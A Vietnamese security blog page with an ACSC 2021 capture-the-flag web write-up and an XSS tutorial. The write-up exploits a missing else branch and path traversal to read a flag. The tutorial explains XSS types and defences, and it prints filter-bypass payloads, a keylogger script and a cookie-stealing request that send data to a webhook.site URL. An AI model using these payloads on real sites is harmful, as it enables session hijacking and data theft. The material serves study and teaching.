Showing posts with label WWeb. Show all posts
Showing posts with label WWeb. Show all posts

ACSC 2021 | Web Writeup | API

 

API

Thử thách:

Kiến thức nền:

  • Broken Access Control.

Giải quyết vấn đề:

1/ Thăm dò:

Như mọi dạng bài cho source code từ trước, việc đầu tiên chúng ta cần làm là tôn trọng tác giả, mở source code ra đọc và deploy nó lên. Vào trong root folder public rồi deploy trên locahost bằng lệnh php -S localhost:<any port number>. Tạm thời chưa quan tâm đến các file config như 000-default.conf, docker-compose.yml hay Dockerfile, chúng ta sẽ sử dụng sau. Nhìn sơ qua thì chúng ta có một cái web app chỉ có 3 chức năng thế này:

  • Sign in:

image

  • Sign up:

image

  • Trang admin (không hiểu sao không cần sign in cũng vào được, nhưng mà nhìn chung nó cũng vô dụng):

image

Thử tạo một account tại signup.html rồi đăng nhập vào thử:

image

2/ Nghiên cứu source code:

Bài này nhìn chung là khá dễ, nếu thậm chí nếu bạn đọc code và suy nghĩ theo cách đơn giản thì sẽ ra flag cực kì nhanh. Nhưng tôi và thằng teammate baolongv3 đã chọn cách khó hơn, đó là ăn hết tất cả cú lừa của bài này.

Cú lừa đầu tiên, không biết là vô tình hay cố ý mà tác giả lại để lộ 2 cái file "mới nhìn tưởng là quan trọng và là chìa khóa để tìm ra flag" này:

  • user.db: file chứa toàn bộ thông tin account của tất cả các user trên web app này, mỗi field thông tin khác nhau được ngăn cách bởi dấu | (theo tôi dự đoán thì nó theo format sau: username|hash của password|user level (admin sẽ được gán bằng 1, normal user được gán bằng 0)). Khi refresh trang thì ta thấy file được append thêm một số account mới. Tất cả các account này đều có user level bằng 0. Chỉ duy nhất account có username tên Pang (trong hình) có user level bằng 1.

image

Nhìn vào hàm main, ta thấy file user.db vốn không có sẵn trong folder db. Nó được khởi tạo bằng cách gọi hàm gen_user_db:

function gen_user_db($acc){
    $path = dirname(__FILE__).DIRECTORY_SEPARATOR;
    $path .= "db".DIRECTORY_SEPARATOR;
    $path .= "user.db";
    if (file_exists($path)) return false;
    else {
        global $admin;
        $u = new User($acc);
        $fmt = sprintf("%s|%s|%d,", $admin['id'], $u->gen_hash($admin['pw']), $admin['level']);
        file_put_contents($path, $fmt);
    }
}

Nếu file user.db chưa được tạo, nó sẽ được tạo mới bởi hàm file_put_contents, đồng thời hàm này sẽ ghi vào file user.db mới được tạo account của admin thông qua biến $fmt, biến này lại lấy các field id, pw và level từ global array $admin được gọi từ file config.php:

<?php
$admin = ['id' => "*secret*", 'pw' => "*secret*", 'level' => 1];
?>

Vậy là đúng như dự đoán, admin được gán level bằng 1, như vậy account có id là "Pang" chắc chắn là admin, và ta cần lấy được password của user này bằng cách dehash cái này: c307cae832059f15e52cc5e6a26a2eb3ae7173e6. Password được hash bằng hàm ripemd160:

public function gen_hash($val){
    return hash("ripemd160", $val);
}

Nhưng có vẻ đây là một challenge dùng não 100%, đừng phí thời gian chạy hashcat hàng tiếng đồng hồ để tìm password như tôi nhé, nó không ra cái gì đâu @@

  • passcode.db: chứa một string có độ dài 5 kí tự, nếu chỉ nhìn mà không đọc code kĩ thì sẽ rất dễ nhầm đây là salt mà tác giả ném vào hàm hash ripemd160 để băm password của các user. Nếu deploy đoạn code này (lấy từ hàm gen_pass_db) thì bạn sẽ đấy string này random từ biến $rand_str sau mỗi lần refresh trang:
$rand_str = "`~1234567890-=!@#$%^&*()_+qwertyuiopT[]\\";
$rand_str .= "asdfghjkl;':\"zxcvbnm./<>?QWERASDFZCVBNM";
$res = '';
for($i = 0; $i < $len; $i++){
    $res .= $rand_str[rand(0, strlen($rand_str)) - 1];
}
echo $res;

Nhưng trên url thì dù refresh lại bao nhiêu lần nó cũng ra ":<vNk". Lí do là vì file passcode.db cũng hoạt động giống file user.db, nếu file đã được tạo rồi thì hàm sẽ kết thúc và không đụng gì file nữa:

if (file_exists($path)) return false;

image

=> Xem xong file này tôi có 2 thắc mắc:

- Hai hàm gen_user_db và gen_pass_db đều hoạt động giống y hệt nhau, tại sao refresh trang user.db thì thấy các account mới được append vào còn passcode.db thì vẫn giữ nguyên như vậy? Chứng tỏ có một hàm nào đó khác nữa đã làm công việc append này, và nó chính là hàm signup (check file/2021/web/source/public/lib/User.class.php)):

public function signup(){
    if (!preg_match("/^[A-Z][0-9a-z]{3,15}$/", $this->acc[0])) return false;
    if (!preg_match("/^[A-Z][0-9A-Za-z]{8,15}$/", $this->acc[1])) return false;
    $data = $this->load_db();
    for($i = 0; $i < count($data); $i++){
        if ($data[$i][0] == $this->acc[0]) return false;
    }
    file_put_contents($this->db['path'], $this->db['fmt'], FILE_APPEND);  // $this->db['path'] == 'public/lib/db/user.db' và $this->db['fmt'] = sprintf("%s|%s|%d,", $this->acc[0], $this->gen_hash($this->acc[1]), 0) 
    return true;
}

- Nếu ":<vNk" trong file passcode.db không phải là salt của hàm hash ripedm160, vậy nó được tạo ra để làm gì? Nhìn vào hàm is_pass_correct trong file Admin.class.php/2021/web/source/public/lib/Admin.class.php), ta thấy $passcode lấy data từ file passcode.db thông qua hàm get_pass, $input lấy data từ value của parameter pas được lưu trên superglobal REQUEST, sau đó nếu 2 biến này bằng nhau thì return true:

public function is_pass_correct(){
    $passcode = $this->get_pass();  // $passcode == ':<vNk'
    $input = $_REQUEST['pas'];
    if ($input == $passcode) return true;
}

3/ Khai thác:

  • Nói thêm một chút về các parameter nằm trong superglobal REQUEST của bài này, tất cả đều được gửi từ form signin thông qua hàm signin nằm trong file client.js/2021/web/source/public/static/js/client.js). Nếu theo luồng hoạt động của hàm này thì chỉ có 3 parameter được gửi vào REQUEST là id, pw và c (1). Như vậy, để hàm is_pass_correct có thể return true, ta phải tự chèn thêm parameter pas=:<vNk vào sau khi sign in (2).
  • Như đã thấy ở phần thăm dò, dù có tạo được account thì chúng ta cũng không thể vào được bên trong, web app chỉ alert rằng "Only admin can access the page". Bắt thử một request rồi send qua repeater của Burp Suite thì ta được:

image

  • Response cho biết rằng trang web đang bị chuyển hướng đến /api.php?#access denied do đoạn code javascript location.href = '/api.php?#access denied';. Vậy đoạn code javascript này từ đâu ra. Check hàm main rồi mò lại hàm challenge, ta có:
$admin = new Admin();
if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
$cmd = $_REQUEST['c2'];
if ($cmd) {
    switch($cmd){
        case "gu":
            echo json_encode($admin->export_users());
            break;
        case "gd":
            echo json_encode($admin->export_db($_REQUEST['db']));
            break;
        case "gp":
            echo json_encode($admin->get_pass());
            break;
        case "cf":
            echo json_encode($admin->compare_flag($_REQUEST['flag']));
            break;
    }
}
  • Đọc lướt qua thì ta sẽ thấy đây là một đoạn code authorize rất bình thường, khi account không phải admin thì sẽ trả về response như đã thấy trên Burp Suite. Nhưng nhìn kĩ lại một chút thì chúng ta phát hiện một sai lầm cực kì tai hại của người viết đoạn code này, đó chính là dùng if (!$admin->is_admin()) cho câu lệnh $admin->redirect('/api.php?#access denied'); nhưng lại quên đặt các khối lệnh phía sau vào else. Điều này đồng nghĩa rằng kể cả account của bạn không phải là admin, đăng nhập vào bị alert ra lỗi, nhưng vẫn có thể thực thi toàn bộ các lệnh ở phía sau if. Vấn đề bây giờ chỉ là chọn value nào để inject vào parameter c2 trong các value gu, gd, gp và cf. Nếu chọn gd thì ta sẽ gọi được hàm export_db, hàm này lại lấy data từ paramter db. Cùng xem hàm này hoạt động như thế nào:
public function export_db($file){
    if ($this->is_pass_correct()) {
        $path = dirname(__FILE__).DIRECTORY_SEPARATOR;
        $path .= "db".DIRECTORY_SEPARATOR;
        $path .= $file;
        $data = file_get_contents($path);
        $data = explode(',', $data);
        $arr = [];
        for($i = 0; $i < count($data); $i++){
            $arr[] = explode('|', $data[$i]);
        }
        return $arr;
    }else 
        return "The passcode does not equal with your input.";
}
  • Để hàm này có thể chạy được ta cần phải chèn vào request pas=:<vNk như đã giải thích ở cuối phần Nghiên cứu source code. Trong luồng hoạt động của hàm này chúng ta chỉ cần để ý duy nhất lệnh $data = file_get_contents($path); là có thể kết luận sử dụng hàm này ta có thể đọc được nội dung của một file bất kì trong hệ thống, trong đó có file flag. Sau khi mò được đường dẫn của flag thì ta đã có flag trong tay:

image

  • Payload: id=Baictfkhoqua&pw=Aa1234567&c=i&pas=:<vNk&c2=gd&db=../../../../../../../flag
  • Flag: ACSC{it_is_hard_to_name_a_flag..isn't_it?}
spacer

XSS cơ bản | CORS và CSP

    1. XSS là gì?

XSS - Cross-site Scripting là một kỹ thuật tấn công code injection trên phía client. Kẻ tấn công mục đích khai thác các dữ liệu nhạy cảm của người dùng khác bằng cách chèn các đoạn code độc hại trong trình duyệt Web, những mã độc này thường được viết với ngôn ngữ lập trình như Javascript, HTML…. Khai thác tấn công XSS chỉ thực sự xảy ra khi nạn nhân truy cập vào trang web hoặc ứng dụng thực thi các đoạn mã độc. 

Về cơ bản, một ứng dụng có chứa lỗ hổng XSS đều xảy ra từ các trường input parameter được nhập vào từ người dùng, dữ liệu này sẽ chạy một cách hợp lệ trên trình duyệt, ứng dụng. Nguyên nhân chính của loại tấn công này là thiếu xác thực đầu vào dữ liệu người dùng, dữ liệu đầu ra trả về cho người dùng không được mã hóa và xử lý cẩn thận khiến những đoạn script độc hại có thể thực thi hợp lệ trên trình duyệt của nạn nhận.


Rủi ro:

- Người dùng bị chiếm phiên làm việc, đánh cắp cookie, token,…

- Thay đổi giao diện của ứng dụng, website.

- Quảng cáo hoặc bôi nhọ trang web, ứng dụng.

- Sử dụng phần cứng để nghe, chụp hình hay đào bitcoin.

    2. Các kiểu tấn công XSS

        2.1 Reflect XSS

Kẻ tấn công gửi cho nạn nhân một liên kết đến ứng dụng thông qua email, mạng xã hội,... nó chứa scripts độc hại được nhúng bên trong và sẽ thực thi khi truy cập trang web. Nó được gọi là reflect (ánh xạ) vì trong kịch bản khai thác này, hackers phải gửi cho nạn nhân một URL chứa scripts (phishing).

Nạn nhân chỉ cần truy cập URL này, hacker sẽ nhận được phản hồi chứa kết quả mong muốn.

Ví dụ, tại vị trí tìm kiếm của một ứng dụng, thay vì chèn nội dụng tìm kiếm bình thường, attacker chèn mã script, trình duyệt xử lý và hiện thị dữ liệu truyền vào trên màn hình. Và script độc hại được thực thi.

/?q=%253c%252ftitle%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e

Thay vì hiện thị bảng thông báo cookie, attacker có thể thay bằng gửi cookie đến server của mình và có được phiên của nạn nhân.


        2.2 Stored XSS

Kẻ tấn công có thể chèn scripts vào những vị trí có thể lưu lại trong ứng dụng chứa lỗ hổng XSS, thường là lưu tại database và được hiện thị trên giao diện. Ví dụ như tên, comment, post được lưu trên ứng dụng, từ đó trình duyệt sẽ đọc và scripts được thực thi khi bất kỳ ai truy cập vào. Nạn nhân request đến thông tin được lưu trữ và bị đánh cắp thông tin. Gọi là Stored-XSS.

Khác với Reflect XSS là attacker phải gửi cho nạn nhân nhằm lừa nạn nhân truy cập. Còn với Stored XSS không cần phải thực hiện điều này. Ngoài ra, nó còn có thể tấn công nhiều nạn nhân mà chỉ cần một lần chèn scripts. Từ đó có thể thấy Stored XSS nguy hiểm hơn Reflect XSS rất nhiều, và nếu là quản trị hay người dùng cấp cao, hậu quả sẽ rất nghiêm trọng.

Ví dụ, ứng dụng chứa lỗ hổng có lưu trữ bao gồm các trường hồ sơ như username hay email, thông tin lưu trên máy chủ đó hiển thị trên giao diện ứng dụng.


        2.3 DOM based XSS

Scripts được chèn và sửa đổi DOM (Document Object Model) của trang web trong code phía nạn nhân và sau đó được thực thi, kỹ thuật này thay đổi cấu trúc DOM, cụ thể là HTML, nó làm thay đổi giao diện phía người dùng. Khác với reflect cũng là gửi để phishing nạn nhân nhưng không gửi dữ liệu đến server, nó trực tiếp chạy trên trình duyệt nạn nhân, điều này giảm thiểu filter từ phía server.

Ví dụ trang lấy giá trị parameter trên URL để hiển thị thông báo trên màn hình, thay vì chèn chuỗi thông báo, attacker chèn scripts và nó được thực thi trên trình duyệt nạn nhân.


        2.4 Blind XSS

Kỹ thuật này xảy ra khi kẻ tấn công không thể thấy được kết quả của cuộc tấn công vì kết quả lỗ hổng thường nằm trên một trang mà chỉ những người dùng được ủy quyền mới có thể truy cập. Kiểu khai thác này thường phải dùng payload phức tạp hơn để có thể nhận biết được nếu vị trí tồn tại lỗ hổng cũng như payload của kẻ tấn công được thực thi thành công.

Ví dụ lỗ hổng tại form feed back về ứng dụng, chỉ quản trị có thể đọc nội dung bị nhiễm mã khai thác.



    3. Một số case phức tạp hơn

Bypass filter:

Ví dụ filter blacklist không đầy đủ, hoặc payload được obfuscate: <sCrIpT>alert('xss');</ScRiPt>

Bypass trường hợp hợp thẻ <script> bị xóa trước khi hiển thị: 

<svg o<script>nload=alert(1)>

Kết quả: <svg onload = alert(1)>

Hoặc: <%00script>alert(1)</script>

%00 trả về giá trị null khi đó 1 số filter không cẩn thận sẽ cho phép mã khai thác dạng này


Phishing: những thẻ hợp lệ như <a> cũng đều có thể được lợi dụng gây ra lỗ hổng XSS, ví dụ: 

<a href=https://attacker/>Session expired. Please login again.</a>

<a href="javascript:alert(1)">Click Here</a>


Mã hóa: mã hóa payload là 1 trong các cách được attackers hay dùng ví dụ như encode scripts bằng URL, trình duyệt sẽ decode từ HTML/URL thành script và thực thi:

%26%23x22%3B%3E%26%23x3C%3Bscript%3Ealert%26%23x28%3B1)%26%23x3C%3B/script%3E


Tạo Keylogger, attacker có chèn script ghi phím gõ trực tiếp của người dùng và gửi về server của kẻ tấn công ví dụ 1 đoạn script:

<script>var keys="";

document.onkeypress = function(e) {

get = window.event?event:e;

key = get.keyCode?get.keyCode:get.charCode;

key = String.fromCharCode(key);

keys+=key;

}

window.setInterval(function(){

if(keys != "") {

new Image().src = "https://webhook.site/f6d7fb91-a0b3-4604-b1b2-853553ddd8a9?c="+keys;

keys = "";

}}, 500)</script>


Gửi request tới server: hacker có thể dùng nhiều hàm hỗ trợ để gửi request về server của hacker kèm dữ liệu nhạy cảm, ví dụ 1 case đơn giản:

var request = new XMLHttpRequest(); request.open('GET', 'https://webhook.site/f6d7fb91-a0b3-4604-b1b2-853553ddd8a9/?a='+document.cookie, true); request.send();


Bypass CSRF: hacker có thể lợi dụng các thẻ như iframe để render trang được gán CSRF token để chống tấn công CSRF. Sau đó các dựa vào script XSS, hacker có thể đánh cắp token.


Ngoài ra còn rất nhiều kịch bản khác!




    4. Ngăn Chặn XSS

        4.1 Data Validation

Giới hạn input của người dùng trong danh sách cụ thể, phương pháp này đảm bảo rằng chỉ các giá trị đã biết và an toàn mới được gửi đến máy chủ. Việc hạn chế input chỉ hoạt động nếu hệ thống biết có thể nhận được loại dữ liệu nào. Sử dụng thư viện có sẵn, vì các thư viện đó đã được nhiều developer sử dụng và thử nghiệm. Tuy nhiên, nó chỉ giúp giảm thiểu rủi ro, không đảm bảo đủ để ngăn chặn lỗ hổng XSS có thể xảy ra

Encode và xử lý dữ liệu đầu ra, kiểm tra nội dung không an toàn trước khi export hiển thị trên trình duyệt người dùng.

        4.2 Sử dụng WAF

Sử dụng tường lửa để bảo vệ ứng dụng, hệ thống trước các cuộc tấn công. Phương pháp này chặn các cuộc tấn công như XSS, RCE hoặc SQLi trước khi các yêu cầu độc hại đến được hệ thống. Nó cũng có lợi ích là bảo vệ chống lại các cuộc tấn công quy mô lớn như DDOS.


        4.3 Cấu hình CORS

Cấu hình Cross-Origin Resource Sharing giúp ngăn các website khác đánh cắp traffic của ứng dụng, ví dụ như khi attacker nhúng script vào các websites để gửi các thông tin đánh cắp được về máy chủ khác.


        4.4 Cấu hình CSP

chỉ định các tên miền để trình duyệt xem là nguồn hợp lệ của các script thực thi. Trình duyệt tương thích CSP sau đó sẽ chỉ thực thi các script được load trong nguồn nhận được từ các miền thuộc danh sách đó.

spacer